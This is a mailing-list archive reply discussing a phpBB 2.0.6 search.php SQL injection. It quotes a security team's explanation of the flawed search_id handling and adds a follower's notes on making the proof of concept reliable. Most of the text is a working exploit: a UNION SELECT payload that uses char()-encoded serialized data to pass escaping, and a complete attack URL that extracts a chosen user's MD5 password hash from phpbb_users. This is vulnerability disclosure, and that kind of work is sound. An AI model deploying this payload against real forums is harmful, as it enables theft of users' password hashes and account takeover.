<<< Date Index >>>     <<< Thread Index >>>

Re: phpBB 2.06 search.php SQL injection



In-Reply-To: <20031129073514.18236.qmail@xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>

This proof of concept code isn't very reliable. The string that is returned 
from the char functions returns this ->
a:7:{s:14:"search_results";s:1:"1";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:32:"[md5
 
hash]";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}

While this is a correct search array, the number "1" after 
"search_results";s:1: is the number of the post it refers to. For this proof of 
concept code to work the post with ID number 1 must exist and the user using 
the proof of concept code must have access to the post. This makes it a little 
tricky to give a sound proof of concept code.

The md5 hash is also returned as a highlight variable in the found post.

If post #1 is deleted, you'll need to recreate the string char set for it to 
work correctly. Hopefully this helps anyone testing it and thinking "my forums 
aren't vulnerable".


Zarath

>In-Reply-To: <3FC7D97E.22063.167ABDD@localhost>
>
>A explanation about the released exploit code:
>
>phpBB stores the search records in serialized format in php_search_result 
>table.in our case when search_id is not one of these values ('newposts' || 
>'egosearch' ||  'unanswered' |)) then this routine will be run:
>
>//code snnipset from search.php
>
>$search_id = intval($search_id);
>               if ( $search_id )
>               {
>                       $sql = "SELECT search_array 
>                               FROM " . SEARCH_TABLE . " 
>                               WHERE search_id = $search_id  
>                                       AND session_id = '". 
> $userdata['session_id'] . "'";
>                       if ( !($result = $db->sql_query($sql)) )
>                       {
>
>//
>
>as you can see intval($search_id) is not safe, so the first idea in a Mysql>4 
>enviroment would be :
>
>search_id=1 union select user_password from php_users where user_id=[uid] /*
>
>/* will remark the rest of Sql string (AND session_id = '". 
>$userdata['session_id'] . "'")
>
>but if you run this query you will get nothing useful, seeking the rest of 
>code in search.php we find:
>
>//code snnipset from search.php
>
>
>$search_data = unserialize($row['search_array']);
>               for($i = 0; $i < count($store_vars); $i++)
>                               {
>                       $$store_vars[$i] = $search_data$store_vars[$i]];
>                               }
>                       }
>               }
>       }
>
>       //
>       // Look up data ...
>       //
>       if ( $search_results != '' ) {
>//run search queries on post_ids,... then DISPLAY results(and our requested 
>password;) 
>
>
>feeding our query to this code the $row['search_array']) will have MD5 hash of 
>uid BUT remeber IT MUST BE IN Serialized format to be consider by the rest of 
>the code responsible for DISPLAYING result sets,So we must build a query to 
>return PASSWORD HASH in the form of serialized variables(To learn more about 
>Serialize and unserialize functions see php manual).
>a simple serialized string variable $a="test" will be stored like this: 
>a:1:{s:0:"";s:4:"test";}
>and a serialized result set in search.php has this format:
>a:7:{s:14:"search_results";s:28:"5184,,5538,,5721,,5776,,5979";s:17:"total_match_count";i:5;s:12:"split_search";a:1:{i:0;s:8:"aaaaaa";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:6:"topics";s:12:"return_chars";i:200;}
>
>we will place user_password as split_search instead of "aaaaaa". using MySql 
>concat() and char() functions with ASCII code format of the above serilized 
>object:
>
>concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))
>
>(the CHAR function and ascii codes are used to bypass sql string ecape)
>
>and the final qury would be : 
>http://site.com/search.php?search_id=1%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=[id]/*
>
>
>running this query will return possible search results AND ALSO MD5 has as 
>search_split.
>
>Thanks,
>
>Hat-Squad Security Team
>